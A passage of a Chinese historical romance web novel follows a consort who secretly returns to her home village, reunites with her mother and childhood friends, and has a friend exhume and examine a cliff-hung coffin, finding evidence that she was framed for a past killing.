沈温听到这话张了张口,却最终还是闭上。 他确实是如此想的。 沈美娘了然地看了眼沈温:“沈大人,你这次,可是推我出来替你受死啊。” “不是的!”沈温反驳了沈美娘的话。 他欲言又止,闭了闭眼,不甘心又不得不承认道:“陛下会保你的。” 皇帝可是天下人的君父,他有的是法子保沈美娘。 沈温也因此实在不理解,这次沈美娘为何要拜托他帮她离开上京。 沈美娘听到这话,心里愈发觉得沈温有些好笑。 谢太后觉得姜颂肯定不会保她,沈温又觉得姜颂肯定会保她。 这两人要不开个赌局,看看最后他俩谁能赢? 沈美娘回过神来,看着沈温道:“按沈大人这般说,确实是我错怪你了。” 她不想和沈温再说话。 沈美娘最看不起,沈温这种“总有理由为自己辩解”的人。 这种人比懦弱无能、愚蠢幼稚、莽撞笨拙的人还令人生厌。 “大人若是无事,我就先和宝儿去歇息了。”沈美娘道。 明日宵禁一解,她们二人可就得离开上京,日夜兼程回西南去。 她们现在马上躺床上睡觉的话,兴许还能再睡两三个时辰。 “美娘!”沈温对沈美娘的背影喊道,“你其实可以不去西南,只要你愿意,我可以养你。” 他手里提着灯笼,微弱的光在他眼里跳动,显得格外真诚而温柔。 沈温道:“这次……我绝不会再放开你的手。” 沈美娘轻笑一声,转身睨了他一眼:“沈大人,我是缺胳膊缺腿吗?我需要你养?” 说完这话,沈美娘直接转身离开。 可能是当年为了掩盖她逃犯身份,她演的“楚楚可怜”、“善良单纯”太过成功,给了沈温错觉。 沈温根本不知道她到底有多顽强。 别的不说,小时候她捡蘑菇、采山茶、织布绣花,可都是好几个寨子里最勤快厉害的。 如果不是十二岁的时候顶着罪犯的身份,又运气不好遇到了蜀中闹灾,她现在说不定早就是蜀中数一数二的大商人了! 沈温听到沈美娘的话愣在原地。 直到夏末,已经泛凉的夜风吹拂他的衣袖,才叫他回过神来,自嘲一笑。 原来——他从来都不了解沈美娘。 可是那个小皇帝呢?他又了解沈美娘多少? 凭什么沈美娘就这般在意他,还为了证明清白不叫他为难,不辞千里也要回去把事情查清楚。 — 紫宸殿内,姜颂正质问负责神策军和京畿守卫的裴渡。 姜颂道:“什么叫查不到?这都过去多久呢?你们连贵妃当夜的行踪,还有出城记录都查不到?你们拿着俸禄,都在干些什么?” 裴渡请罪:“陛下,微臣无能……贵妃想来出城前就准备好了假过所,这清查起来如何容易?” 再说贵妃这都消失月余,若是能查到什么线索,当时贵妃刚消失那几日就该有的。 这日子越往后,想要查到沈贵妃当时究竟是如何离城的,只会一日比一日困难。 姜颂听到这里,也知道今日是他被气昏了头,连忙叫裴渡起来,让他退下。 姜颂想起那日那封信,沈美娘说什么她不想拖累他,打算一个人找个清静地方隐居起来。 他现在想起来那封信都还是来气。 沈美娘把他当什么人呢? 他们是夫妻!夫妻之间哪来的拖累不拖累? 姜颂生了一通闷气后,又不得不继续想沈美娘去哪里了。 她真隐居去呢? 姜颂想到这里还是不信,她那般爱荣华富贵的人会愿意去隐居。 再说大燕最有名的几个“隐居圣地”,他早就派人一路查过去了。 沈美娘要真的是去这些地方了,肯定早就找到她了。 姜颂仔细回想沈美娘过生辰那日的话和神情,想到一个地方—— 她的家乡。 沈美娘之前就说过他在上京查旧案肯定成本很高,说什么不值得…… 那会不会沈美娘是打算自己先偷偷回去查? “传叶相进宫。”姜颂刚说完这话就又道,“不……” 他若是贸然叫叶相进宫, 定会叫谢党警觉,说不定他们会猜到沈美娘这次失踪不是逃跑,而是回西南去查案了。 姜颂心中担心沈美娘的安危,可她既然已经迈出最危险的那一步了,他就不能拖她后腿。 沈美娘如果是离开查案去了,又为何不提前告诉他呢? 正在姜颂出神时,他听到宦官说裴渡求见,说是虽未找到沈贵妃的下落,但那夜帮贵妃逃跑的人找到了—— 是沈温。 听到这话,姜颂终于反应过来。 沈美娘这是把每一环都算好了,她现在恐怕人都已经到蜀中了吧! “阿嚏——”坐在船头的沈美娘打了个喷嚏。 宝儿看她这样,担心问:“美娘,你可是受凉呢?” 这都坐了两个多时辰的船了,一路上都是迎面吹来的冷风,沈美娘还坐在船边玩水。 说她还不听,不受凉才怪! 沈美娘立刻否认:“没有啊,肯定是有人想我了。” 她作思忖状:“我都离开上京一个多月了,宋江江肯定想我想的不得了。” 宝儿沉默片刻,又想到离开时,沈美娘让沈温在一个月后,让皇帝知道是沈温帮她离开的事。 算算时间,应该也是这两日了。 宝儿问美娘为何要让沈温这般做。 沈美娘理了理被江风吹得乱飞的碎发,道:“宋江江找我一个多月,要是还查不到线索,他不得哭鼻子啊?” 宝儿不解挠头。 她觉得陛下好像不是哭鼻子的人。 沈美娘开完玩笑,开始说真话:“我就是要让姜颂也来西南,不过得瞒着两党人。要不然他们掺和进来,这案子不知道要查到何年何月。” “我和沈温这个老情人藕断丝连,还好像要一起私奔,姜颂千里索我命不就很顺当了吗?”沈美娘道。 她让沈温先告诉姜颂,她回南州去了,等姜颂到南州再告诉他真相。 他就可以悄悄来找她了。 就算万一败露消息,南州离上京那般远,等消息传到叶明舟、谢凡耳朵里,姜颂人也已经到这里了。 宝儿听到这话,似懂非懂,问:“那你可以直接和宋江江一起来的,暗卫应该也能演他吧。” 就像宋江江之前从皇宫逃跑一样。 “有道理,但还是暴露风险太大,况且……”沈美娘挑眉,“我想先自己查案。” 她望着熟悉的青山绿水,还有前方津渡口,家乡纤夫、苦力们为了提振力气,用乡音吼出的歌曲…… 沈美娘伸手拂过江水荡漾开的水面,冷沁沁的感觉在指尖蔓延。 原来已经七年有余了。 七年不见故地景,七年不饮故乡水。 这次,她要自己还那个十二岁的沈美娘清白。 第53章 第53章沈美娘的朋友和家人()…… 沈美娘走在寨中的石板路上,她和宝儿穿着中原妇人的打扮,与这座寨子妇人的服饰明显不同,惹得路上行人侧目。 宝儿被那些人的目光,看得有点害怕。 沈美娘贴心地握住她的手,安慰道:“不必担心,他们没有恶意。” 只是这些大山里的人,对外来的人会有些好奇罢了。 这里位于几州交界处,乃是蜀中与黔中的贸易交通要地,平日里来往的外来人并不少,只是女子少了些,才会叫两人如此打眼。 宝儿问:“美娘,咱们要不换身当地衣裳?” 这般高调,引人注目,万一暴露两人身份,尤其是沈美娘的身份可如何是好。 沈美娘看出宝儿的担忧,道:“我离开时才十二,如今七年多时间过去,怕是没人能识得我了。” 宝儿觉得沈美娘说得也有道理。 沈美娘就是想要张扬些。 她当时离开时,是灰溜溜地败走,如今既回来了,她就要大大方方的。 她寻了一家路边的摊贩吃饭,那些街边的小乞丐看她打扮华丽,就纷纷围了上来。 沈美娘大方答应请他们吃东西,不过却先说了条件:“可以给你们吃的,还能给你们铜板,但你们得回答我一些问题!” 那些小乞丐立刻点头。 沈美娘便问:“我这一路过来,发现你们这寨子似乎比别的寨子都大,恐怕和思州城都能作比了……你们这里竟这般繁华富庶吗?” “夫人这就是您没仔细瞧了,小的在思州城要过饭,咱们这儿还是远远比不上的。”小乞丐压低声音又道,“不过,这些年蜀中出了位很厉害的女商人,生意做得很大,咱们这边好几个寨子的寨老都和她有贸易往来。” “这里面啊,尤数咱们寨老田家和她贸易做得最大,咱们寨子和其他寨子比起来肯定要更富裕些。”那乞丐话中有些骄傲,“都是咱们对月神最虔诚,才能有这般好的福泽落到咱们头上。” 沈美娘听到“月神”二字,嘴角有些轻蔑地勾了勾。 这片土地的人还是一如既往相信那所谓的神灵。 “我瞧你像是这些乞丐的老大,你知道张狗三吗?”沈美娘问。 小乞丐闻言,仔细瞧了瞧沈美娘,才道:“夫人您不知道,他已经不做乞丐了,他现在做了屠户,就在寨子东边那里。” “他还改了名,如今叫沈志。” 沈美娘问到了想问的事,给这群小乞丐的头头多给了一粒碎银,道:“今日多谢你了。” 小乞丐忙把银子揣进怀里,连声道:“都是小事,夫人若是还有什么想问的,尽可以再来找我。” 沈美娘笑着点头。 等吃完东西,沈美娘先和宝儿找了间客栈安顿下来。 掌柜的可能是看两人都是外地人,又穿着华贵,打算狠狠宰她们一笔。 他开口道:“上房一晚八十文,中房二十文,下房八文。” 宝儿气不过道:“你这人做什么,我们在南州住一夜都没你这儿贵!” “我这儿可是几个寨子里最好的客栈,你不愿意住,大可以去别处。”掌柜道。 但下一刻,腰间跨刀的青词就走了进来,站到沈美娘身边。 掌柜见状白了脸。 青词抬眼冷冷看了他一眼。 他的脸更白了。 沈美娘笑意盈盈,又问:“掌柜的,你说到底能不能便宜些?” 掌柜的咽了口口水,好说话多了:“可以可以,拿之前说的一半就好。” 此处寨子来往商队众多,掌柜的当然看得出眼前跨刀的女人,是绝对的练家子,哪里还敢有宰人的想法。 沈美娘仍是笑容不变,道:“最多三十文,可以我们就住。” 在南州三十文都能住到上房了,在这里三十文怕是都多了。 掌柜的没宰成客有些失望,但他也不想失去沈美娘这个客人。 他忙道:“可以,您把几位的过所给我看看。” 沈美娘订了两间上房,等进了屋,她才对青词道:“你怎的来得这般早?” 她前些日子快到思州时,才给蜀中的青词寄了信,说了寨子的位置,也说好在这里最好的客栈见面。 沈美 娘原以为还得等几日,青词才会到,没想到她来得却这般早。 青词道:“我已经提着李守义的头颅,去拜祭了师父和观中师姐妹,阿盈和她家人的墓我也都扫过了。这次你叫我,我正好闲着,当然得快些来。” 唯一的遗憾就是,她在得知陈家灭门的事情可能有谢阁老参与后,又重新查了当年的事,但还是什么新的线索都没查出来。 沈美娘轻笑:“今日多亏了你。” 青词摇头:“你我之间的关系,不必如此客气。” 不同于沈美娘的客气,宝儿重新看到好姐妹,已经抱住青词哭得眼泪汪汪。 宝儿自从青词报完仇,一声不吭就走后,每日都很想念她。 眼下见到了青词,她当然是满肚子话想说。 沈美娘见两人聊得火热,和她们交代了几句后,去见了她要见的人。 沈美娘按小乞丐说的地方找到了沈志的肉摊。 她站在他的店前,看着正在忙碌的男人。 他小店的生意很是红火,想来这些年应该也能挣不少钱。 等其他人都买好走了,沈美娘才上前道:“要两斤精瘦的羊前腿肉,切成臊子。” 男人听到沈美娘的话,道:“今日最好那几个部位的肉都没了,还剩几个不好不坏的部位,这位娘子你看要不换个别的?或是我明日给你留着,你到时候来拿?” 沈美娘听到这话,觉得沈志沉稳不少。 和以前那个一点就炸,动不动就打架的他相比——当真是全然不同了。 “那就不必了,我是打算买去做肉饼请你吃的,既然没了,便也算了。”沈美娘笑道。 原本低头还在宰肉的男人,这才猛地抬头看沈美娘。 他看了好一会儿,才有些不敢置信,试探道:“美……” 但他可能是想起沈美娘当年离开前的事,又把话咽了回去,问:“沈娘子?” 沈美娘这才笑着点了头:“沈志,这才几年啊,你就认不出我呢?” “不是,就是我也没想到你长大以后会……”沈志顿了一下。 他小时候也想过沈美娘长大以后肯定很漂亮。 虽然那时候大家都叫她“阿怪”,但他就是坚信美娘长大以后一定会是大美人。 但、但他怎么也想不到,长大以后的沈美娘,会如此漂亮。 沈志觉得直接说沈美娘如今很漂亮,有些轻浮,迂回道:“就是觉得你和以前,完全都不一样了。” 沈美娘认同他这句话。 那确实,小时候她瘦小得跟个猴似的,又喜欢漫山遍野乱跑,常常脸上、身上都脏兮兮的。 那时候的她,想来和“美人”是沾不上边的。 不然她也不会如此招摇地回来。 沈志想到沈美娘从前犯过的事,道:“我今日先收了摊,咱们去我家再说吧。” 沈美娘点头,她确实是这样想的。 回家路上,沈志看沈美娘的妇人打扮,犹豫再三,还是选择开口问:“美娘,你如今已经成婚了吗?” 沈美娘点头。 沈志听到这里,沉默了一下,继续道:“那恭喜你啊……对了,我去喊幼安,她应该也下职了。” 沈美娘没有阻止他。 一是因为她确实也想见田幼安,二是……她也知道沈志喜欢她。 但沈志和沈温不一样,沈美娘是把沈志真心当朋友的,她就不能玩弄他的真心。 她不喜欢沈志就是不喜欢,她不能钓着他。 沈美娘先拿了沈志的钥匙回了家,她在他家中坐了一会儿,就听到一阵轻快的脚步。 “美娘!” 一道蓝色身影猛地扑到沈美娘怀里。 田幼安出身仵作世家,她从小就跟着父兄到处跑着验尸,一身肉很是紧实。 她这一扑差点把沈美娘撞倒。 沈美娘听到怀里的人,哭得惊天动地:“你这些年怎么一封信都不给我写!你知不知道,我有多想你,我还以为……呜呜呜……” 田幼安倒是一点都没变。 还是那个会吵着要和父兄去验尸,但验尸完了又会和沈美娘说她怕得睡不着,缠着沈美娘陪她睡觉的小姑娘。 沈美娘安抚田幼安,道:“我当年顶着罪名,你又不是不知道。” “美娘,那件事怎么可能是你做的?你这么好,肯定是别人诬陷的!”田幼安道。 沈美娘道:“你现在也在官衙当差,你又不是不明白,凡事都讲个证据,没有证据,怎么能证明我的清白?” 田幼安听出她的言下之意,问:“那美娘,你这次回来,是来找证据的?” “对,我今日也想问你,当年那些尸体,如今可还能查验?”沈美娘问。 她要证明自己没有虐杀那些人,首先就得从尸体入手。 田幼安道:“若是有文书自然可以,但是如今那些人已经入土,想来他们的家人都不会答应。” “而且眼下美娘你的身份,恐怕也不便让官府知道。”田幼安想了想,“就算咱们私自开棺验尸,那些人当年的尸体被你那把火烧了一次,又在地下埋了这许多年……想来我也看不出什么来。” 沈美娘听到这里垂眸。 她就说十二岁的自己蠢笨又冲动。 当年她被诬陷虐杀了那十几人,又被亲手救下的那些人背刺,便冲动放火将月神庙,和按族中风俗停在里面的尸体都一把火烧了。 才叫她现在的罪名会这般难以洗脱。 等等—— “风俗?”沈美娘喃喃。 对了,他们这块地方的人,除了上山安葬前要在月神庙停一晚,好在投胎上路前得月神庇佑,还有别的风俗。 他们本地盛行“悬棺”葬。 所谓“悬棺”葬,便是于山崖绝壁上凿钉木桩,再将棺椁至于木桩上。 他们这里的人信奉月神,也格外喜欢这种能离天更近的安葬方式。 族中的大户,更是会在棺中放以名贵香料,可令尸体腐烂变慢许多。 当年他们沈氏一支的头人就是那死的十几人之一,以他的地位,想来很有可能会用悬棺葬。 沈美娘将此事说给田幼安。 “沈头人确实是悬棺葬的,可是那棺在崖壁之上,这该如何去呢?”田幼安问。 这种丧葬方式都是独门绝活,整个地区会的人没多少,若是去找那些人,他们答不答应先不说。 就算那些人答应,可是这要攀上绝壁,可需要像安葬时那般再来一次——肯定会被发现的。 沈美娘道:“这个不是问题,我那里有人可以做到。” 以青词的武功,应该足够她去将棺椁取下,给田幼安查验再重新放回去了。 一旁的沈志道:“好,到时候需要帮忙的话,也可以叫上我。” 说完查案的事,沈美娘垂下眼睫,问起了另一件事:“沈志、幼安……七娘和我阿爹近来可好?” 沈志和田幼安对视一眼,交换了下意思后,沈志才开口:“他们二老如今都还好。” 他道:“就是你当年逃走以后,他们两人也没再过问你的事,旁人问起,他们都说是当你这个不争气的女儿死了。” 沈志看沈美娘眼眶红了,连忙道:“美娘,你娘最信月神了,你当年那样,她肯定有怨气。但你要相信,她肯定也是爱你的。” 沈美娘抹掉不自觉掉出的眼泪,笑着“嗯”了一声。 “我先回去了,等过两日这个点咱们再见,到时候就去开棺验尸。”沈美娘起身告辞。 她怕自己再不离开,就会哭出声。 从沈志家出来,沈美娘心里想着父母,可眼泪反而没掉出来。 其实想想也能理解,她当年不听七娘话,去多管闲事。 明知道七娘最信月神,因为她天生六指,是被月神惩罚的孩子,都不让她喊她娘…… 她却破坏了月神娶新娘的仪式不说,还把月神庙砸了,还烧了。 现在七娘肯定恨死她这个“孽种”了。 沈美娘心里又愧疚又难受,却还是想去家门口看一眼。 反正她现在和以前一点都不一样,七娘肯定认不出她来。 沈美娘的家不在寨子里。 她的父母是本族人和中原人结合,他爹原本也只是七娘买来的奴仆,后来又生了她这个“孽种”。 寨子里的风言风语太多,沈家一姓的人也不大愿意接纳他们,他们一家人就搬到了寨子外的深山里。 沈美娘 走得很慢,她走在小时候走过、跑过无数次的小路上。 这里本是没有路的,但是阿爹怕她和七娘上下山不方便,就一层层垒了这条路。 等到太阳日薄西山,沈美娘才走到家前。 一切都还很熟悉,院子里的秋千,屋前的山茶。 她站在原地看到在院中摘菜的七娘,她的动作很快,还是沈美娘记忆里利索的样子。 沈美娘感觉眼泪好像又从眼角溢出,忙低头擦了擦。 在此时,她却听到什么东西落在地上的声音。 沈美娘抬头,就看到七娘手中的菜散落在地,板凳也翻在地上。 她心里一紧,又像是在隐隐期待什么。 但沈美娘知道,过去了七八年的时间,她容颜变化还这般大,肯定不会被认出来的…… 但是—— “幺幺?”七娘喊了一声。 片刻后,她就像是确定了,奋力跑向沈美娘抱住她,声嘶力竭般道:“幺幺!娘的乖幺幺……” 沈美娘没想到七娘会认出她来,愣了一下,才俯身抱住可能是太过激动而脱力跪坐在地的七娘。 “七娘……”沈美娘哭出声。 她以为七娘就算认出她,肯定也会先数落她,怪她的。 沈美娘没想到七娘会哭得这般伤心。 七娘伸手捧着沈美娘的脸,泪眼朦胧地看她,道:“幺幺是不是还在怪娘,以前不准你喊我‘娘’?你才难得入我梦,都还是不肯喊我娘?娘错了,娘该准你喊的。娘是当时太蠢了,才会信他们说的什么不认你,月神就不会觉得你是我与外族人生的。” 可她明明都那般虔诚了,都忍住让亲生女儿不喊她娘了。 那个所谓的“月神”却还是让她失去了女儿,让她的女儿生死不明。 “没有、没有!”沈美娘也哭着摇头,“我从来都不怪娘,我知道娘最爱我了。” 娘会给她做好多好看的新衣裳,会给她买丽娘都没有的首饰,她只要一说想吃什么七娘就会给她做,直到她吃腻为止…… 沈美娘知道七娘是很好的娘亲。 沈美娘握住七娘的手,放到她的脖颈间,道:“娘,不是做梦,是我真的回来了。” 七娘感受到手下的温热。 死人的身体是冷的,梦里的女儿是摸不着的,但面前的姑娘是实实在在的。 …… “娘,不用你给我做豆花,我真的随便吃点就行了。”沈美娘看着眼前忙碌起来的七娘,愧疚道。 她让七娘确定这不是梦,是她真的回来了之后,七娘就坚持一定要给她做豆花。 七娘摇头:“娘记得你最喜欢吃豆花了,娘得给你做。” 沈美娘见七娘坚持,只能随她去了。 她想帮七娘推磨,却被她打了手:“这是幺幺回家的第一顿饭,哪里有让你动手的道理?快去给我坐好,不然娘可真的生气了。” 沈美娘只好搬了小板凳坐到石磨旁,像小时候一样,等着娘给她做豆花。 沈美娘看阿爹不在,问:“娘,阿爹去哪里呢?” 七娘道:“你当年是犯事逃走的,我们如果明面上找你,怕真找到你,叫官府把你捉去砍头。但我和你爹,这些年一直都在私下找你。” “前不久,有去蜀中的商队路过这里,你爹就又跟着他们去找你了……你当年不是往蜀中逃的吗?”七娘道。 沈美娘听到这话眼泪又差点掉下来。 她努力压了压泪意,道:“可是我杀了人,还不敬尊长、不敬神灵。” “幺幺,娘知道你绝对没有杀人。”七娘停下动作,帮沈美娘擦眼泪,“至于那些人嘴里什么‘神灵’说得好听,不过都是生意罢了。” 沈美娘呆呆的。 她没想到这些年过去,从前那般信奉神灵的七娘,竟然也会如此不敬神灵。 七娘道:“娘的乖幺幺当年没说错,这个世上,没有鬼,也没有神。” 只是她,和这世上愚昧的人太多,都需要相信神鬼之说来慰藉自己。 七娘很快给沈美娘做好了豆花,她洒了点葱花在上面,又给沈美娘煮了白米饭。 沈美娘看七娘吃的杂粮饭,忙道:“娘,你也吃白米饭吧。” 七娘原想拒绝,可听到沈美娘的话,她才注意到如今沈美娘的打扮。 穿金戴银不说,沈美娘这一身衣裳好像还是绸缎。 刚才沉浸在找到女儿喜悦之中的七娘,这才发觉其中的不对劲儿。 她问:“美娘,你这是……发达呢?” 沈美娘低头,有些僵硬地点了点头。 勉、勉强也算吧。 她看七娘想追问,忙把筷子递给她:“娘,吃饭。” 要是把她这些年在外面的经历全告诉七娘,七娘肯定会心疼死的。 沈美娘舀了勺豆花,尝了一口,欢喜道:“娘,你做的豆花真好吃,我在外头做梦都想吃。” 七娘被这一打岔,也忘了原本想问的话,只笑道:“幺幺喜欢,娘以后天天给幺幺做。” 沈美娘刨了好几口饭,用力点头:“好!” 她笑得眉眼弯弯。 七娘伸手替她擦了擦嘴角的米饭粒,宠溺道:“还真是个小孩,吃饭也和以前一样满桌子都是。” 沈美娘“嘿嘿”笑了两声,给七娘也舀了豆花:“娘,你也吃。” 吃完饭,沈美娘却还得回客栈去,不然她怕宝儿和青词担心。 七娘坚持要送沈美娘到客栈,就算沈美娘再三说那样会被发现,七娘也还是坚持。 还说什么等会儿快进寨子了,沈美娘先进去,她再进去都好。 沈美娘拗不过她娘,只得答应。 回去的路上,月色清浅,即使没有灯笼都能看得清路。 沈美娘牵着七娘的手,记忆就回到了小时候。 那时在寨子里看完花灯回来太晚了,她们也是这样牵着手。 大大的月亮,高高的七娘和阿爹,还有小小的她。 七娘听到沈美娘说完计划,又提到了沈志,叹了口气道:“那孩子这些年,对我和你爹颇为照顾,你若是对他有意……” “娘!我不喜欢沈志。”沈美娘打断她娘的话。 不要给她乱点鸳鸯谱啊。 七娘愣了一下,道:“可是你小时候不是很喜欢和他一块玩吗?还有那个女仵作和摸包儿……乞丐勉强行,不过那个摸包儿不行,偷东西的决计不行。” “娘,我们只是朋友。”沈美娘道。 七娘点头,语气更加惋惜:“那孩子还算有志气,年纪大点,就拿攒的钱去开了肉摊。不像那个摸包儿这些年跟着那个仙师,还在搞那些愚民的神鬼之事。” “这些年他时不时接济我们家,还改了沈姓,说什么只要我和你爹点头,他就给我俩当儿子,替你给我们养老送终。”七娘道。 沈美娘以为她娘要劝她,却没想到七娘话锋一转,道:“你既然不喜欢人家,那钱娘和爹会慢慢还给他,你也把握好和人家的相处尺度。” 沈美娘愣了一下,抱住她娘,用力道:“好!我知道了!” “不过,娘,有件事,我得和你说一下……”沈美娘道。 七娘挑眉:“你说?你是不是在外面干什么坏事呢?” “没有……”沈美娘有点迟疑,但还是坦白道,“就是——我成婚了。” 七娘停下脚步,转身看向沈美娘,问:“什么?” 她又仔细打量着沈美娘,看到她满头珠翠,质问:“你夫君很有钱?” “算是吧。”沈美娘心虚道。 七娘瞪大眼睛,厉声道:“不成,决计不成——那小兔崽子这是雪中送炭!” 沈美娘小声道:“那叫‘趁人之危’。” 她娘还是这么爱乱用词儿。 “不管送炭,还是什么危的……反正不成!”七娘捏了捏沈美娘的脸,“你听到没有?” 沈美娘哪里敢反驳她娘,笑了笑,点头:“听到 了,听到了。” 反正苦的是姜颂,又不是她。 小皇帝好歹也是个皇帝,自己来和她娘说吧。 沈美娘可不敢和她娘讲大道理。 第54章 第54章查案进程40%/姜颂赶…… 明月所照的另一地,则是另一番景象。 浩浩汤汤的车马人群驻扎在空旷的平野上,沈温将饭菜呈给马车中休息的人,可掀开帘子却发现里头的姜颂已经不见。 只有他身边那两个近侍之一的见安。 沈温低声问:“陛下呢?” 见安有些惶恐:“回大人,如今快到南州了。陛下说,他直接去思州找贵妃娘娘,免得到南州还要折返一段路。” “陛下还说,他最懂娘娘心思,就算娘娘不说,他也能猜到。”见安道。 沈温听到这话愣了一下。 小皇帝这是在做什么?和他炫耀,他姜颂才懂沈美娘? 幼稚蠢货一个。 沈美娘才不会喜欢他这种人。 另一头,“蠢货”姜颂已经骑马跑出去很远,他像浑然不觉累。 最后还是知宁实在是扛不住了,道:“公子,歇一会儿吧。” 公子上次从皇宫里逃跑都不见他这么着急,逃跑整得跟个体察民情一样,东管一下闲事,西看一下民生。 他这次倒是知道日夜兼程赶路。 姜颂听到这话才“哦”了一声,翻身下马:“是该吃饭了。” 他从衣袖里翻出糗面,就着干腊肉就吃,不过实在有些太干了,他被噎了好几下。 知宁见状道:“公子这些吃的确实难以入口,要不明日天亮了,咱们找户人家去……” “不必了。”姜颂又灌了好几口水,把糊在嗓子眼的麦粉咽下去,“太耽搁时间了,再说这麸麦炒的糗面已经是好东西了。那些羁旅行人不都是吃这个吗?他们吃得,我自然也吃得!” 姜颂虽然很不满沈美娘这次又不提前把计划告诉他——明明之前遇刺的时候,她说过以后再遇到那种情况不会再瞒着他的。 但仔细想想姜颂也可以理解沈美娘。 不怪她。 都怪他看起来太弱不禁风,也怪他看起来实在是太天真了。 美娘不带他一起,不提前告诉他计划,肯定是因为她心疼他,舍不得他跟着她一路跑回思州吃苦。 姜颂又狠狠吞了一口糗面。 总之,无论如何,他得多吃点苦,快点成长起来。 让美娘知道他才不是需要呵护的傻白甜,让她知道他比那个沈温厉害多了! 他才是她最该信任的,可以放心把后背交给彼此的战友。 姜颂“报仇雪恨”般地嚼着糗面,本就圆圆的眼睛在月光下,更是闪闪放光明。 知宁在旁边看得一愣一愣的。 这样真的没问题吗? 爱情果然使人有病……不对,是使人强大。 — 时间很快来到沈美娘和田幼安约定好的开棺验尸那天。 沈美娘带着青词赶到沈志家,她给早已在屋中等她的两人介绍青词:“这是我这些年在外面新认识的朋友,是江湖中人。” 她又给青词分别介绍了两人。 青词不爱说话,但还是和两人点头示意了。 几人简单认识了一下,吃了点东西就往埋葬沈头人的山崖赶去。 “头人”是他们这片地区人,对各支的主要话事人的称呼。 沈头人地位如此高,他的悬棺自然也在本地常用来葬尊长者的地方。 那山崖离寨子很远,需要走两个多时辰。 赶到山崖下时,也就青词和田幼安因常年跋山涉水要好些。 沈美娘站在山崖之下,望着山崖之高,有些担心青词的安全。 青词道:“不会有事的。” 她借着山崖上的几颗小树,几个轻功就靠近了那木棺群,按事先田幼安告诉她的,将其中沈头人的棺椁取下。 棺椁取下后,田幼安让其他几人都退后一些,才打开棺木开始验尸。 沈美娘远远看见棺材里的尸体果然没有腐烂,心里松了一口气。 田幼安很快就用工具将尸体从里到外仔细检查了一遍。 沈美娘不懂仵作的事,但她看到已经躺在里头动弹不得的人,心里想起了一些旧事。 他们这片的人主要有四大姓,分别是田、白、冉、沈,几个寨子的寨老也几乎是这几个姓的上等人们轮着来坐。 但这几个大姓里人也是分三六九等的,沈美娘他们家很显然就是其中的最底层。 这个死透了的沈头人,活着的时候没少欺负他们家。 明明他们家都不住在寨子里,却还是要找他家交原本那份地租。 他们家已被从家族里除名,沈头人也还会在族里大大小小的祭祀、修桥的时候找她娘要钱。 她娘为了不再让月神降罪,也都掏了钱。 但就是这样,这个沈头人,还是总在任何大场合看到他们一家人,都要骂他们是被“神罚”的一家,骂她是孽种。 沈美娘从小就不是吃亏的人,这个沈头人每次骂人她都骂了回去。 阿娘不在的时候,她还朝他吐过口水,说过“迟早杀了你,让你知道世上根本没月神保佑你”这种话。 她小时候就是不服输的脾气,又不知道收敛些、圆滑些。 也就难怪当年那些人死了,所有人都第一个怀疑她。 “美娘?幼安在喊你。”沈志喊了沈美娘一声。 沈美娘这才回神,发现田幼安已经将尸体查验完,重新将棺材合上了。 沈美娘上前问:“怎么样?” “美娘,当年你出事时,我记得他们给你定的罪是说你下剧毒将他们虐杀的,对吧?”田幼安问。 沈美娘点头。 他们一家人常年住在深山中,为了防歹人和猛兽,常年都备着许多迷药和奇毒。 沈美娘解释:“我当年下的真是迷药,我只想把那些女孩子救走的。何况,我就算再讨厌他们装神弄鬼,我也不会草菅人命。” “但沈头人那日身子不适,没喝酒,也就发现了我也在月神新娘的人选里……他想追我们,我是捅了他一刀,但我捅在他腿上的,根本就不致命。”沈美娘道。 她也不知道为何等她把那些女孩都放了,再回来时,却发现所有人都死了。 那些女孩也没一个人愿意替她作证。 沈美娘不明白为何她明明就是在做善事,可为何每个都要指责她、诬陷她…… “美娘,你在听我说吗?”田幼安看沈美娘情绪不对劲儿,温声喊了她好几下。 沈美娘从偏执的憎恶中回过神,笑着点头:“对不起……你再说一遍可以吗?” “没事!”田幼安重新讲了一遍,“你肯定没杀人,沈头人不是中毒死的。” 沈美娘猛地抬头。 “我剖开他的皮肉看了,虽然他的尸体外层有灼烧痕迹,但不算严重,里头的骨头也尚算完好。他的大腿外侧确有一道伤,但除此之外,他肩颈处亦有断裂。”田幼安道。 沈美娘又问:“也可能是大火让骨头断裂的?” 田幼安摇头:“沈头人的棺材当时放的位置离火源最远,是受被破坏最轻的一具棺材。我父兄当时负责其他尸体的查验,均无骨头崩裂的情况,沈头人应该更不可能。” “再说,我仔细瞧了,沈头人的骨头上有明显利刃的痕迹,一看便是成年人所为。”田幼安顿了一下,“而且从他死时的动作来看,直到断气的那一刻,他都仍在与想杀他之人搏斗。” 而沈美娘小时候身量瘦小是众所周知的事,她得跳起来才能够到沈头人的肩膀。 更何况,她那时只是个十二岁的姑娘,如何能和正值壮年的沈头人搏斗? 沈美娘听到这里终于明白,道:“所以……也就是说,在我扎 了沈头人那一刀带人逃跑后,有人杀了他——故意把一切都嫁祸到我头上。” 田幼安心有不忍,但还是点头。 青词觉得不对,问:“那为何此事当年没查出来?” 田幼安叹气道:“世人都讲究入土为安,当时其他人都查验了,确实全是被剧毒毒杀。沈头人地位尊崇,他家人本就不愿开棺验尸,既然其他人都是被毒杀的,他们自然也都认为他是如此死的。” 世上的人大多如此,体面比真相重要。 她们仵作这行的工作才会格外难做。 听了很久的沈志,义愤填膺道:“这个狗/日的烂货别让老子逮到他,不然我活剐了他!” 田幼安显然没沈志那般冲动。 她看着沈美娘默默出神的样子,心疼问:“美娘,你好好想想会是谁陷害的你?” 会是谁呢? 沈美娘垂下眼睫,她心里也一时想不出来。 谁会和她有这般大的仇恨,要杀十几个人来嫁祸给她呢? 就算是沈头人没死的时候,都没有这般恨过她。 恨……真的会有这么大的力量吗? 沈美娘突然想到了什么,抬眼道:“我知道是谁了。” 恨当然不会有那么大的力量,但为了利益可以。 如果是为了谋求利益,沈美娘心里隐约猜到可能是哪几个人了。 可能是他们其中的一个,也可能——他们都是。 至于如何查清—— 沈美娘眼睫微颤,问:“如今寨子里,还信月神吗?” 几人不知道沈美娘问这个做什么,但田幼安还是点头:“信的。” 沈美娘点头,微笑:“那就好。” 她真的很怕那些装神弄鬼、愚弄百姓的人改邪归正了,但还好他们都还在。 这片土地的人,也还是如从前那般愚昧。 沈美娘回去之后,天已微亮,昨晚熬了一整晚,她却毫无睡意。 在得知当年的真相后,她整个人空落落的,好像爱和恨都在瞬间被全部抽走。 沈美娘没有和青词一起回客栈,反而在寨中漫步。 她整个人都放空了,走着走着一个不注意,被一个小姑娘撞上。 